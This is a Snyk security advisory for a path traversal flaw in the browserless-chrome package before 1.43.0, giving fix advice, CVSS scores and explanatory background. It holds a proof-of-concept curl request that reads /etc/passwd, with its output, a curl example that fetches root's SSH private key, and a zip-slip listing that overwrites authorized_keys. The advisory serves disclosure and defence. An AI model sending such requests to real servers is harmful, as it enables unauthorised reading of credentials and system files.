Path Traversal Affecting browserless-chrome package, versions <1.43.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.16% (54th percentile)

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  • Snyk ID SNYK-JS-BROWSERLESSCHROME-1023657
  • published 29 Oct 2020
  • disclosed 29 Oct 2020
  • credit Sam Sanoop of Snyk Security Team

How to fix?

Upgrade browserless-chrome to version 1.43.0 or higher.

Overview

browserless-chrome is a web-service that allows for remote clients to connect, drive, and execute headless work; all inside of docker. It offers first-class integrations for puppeteer, playwright, selenium's webdriver, and a slew of handy REST APIs for doing more common work.

Affected versions of this package are vulnerable to Path Traversal. User input flowing from the workspace endpoint gets used to create a file path filePath and this is fetched and then sent back to a user. This can be escaped to fetch arbitrary files from a server.

Note This package no longer releases fixes to npm but a fixed version tag 1.40.2-chrome-stable is available if this package is loaded from GitHub.

PoC

run docker run -p 3000:3000 browserless/chrome

snoopy@snoopy-XPS-15-9570:~$ curl --path-as-is --url 'http://localhost:3000/workspace/../../../../../../../../../../../../../../../../etc/passwd&#39; root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

CVSS Scores

version 3.1
Expand this section

Snyk

7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

7.5 high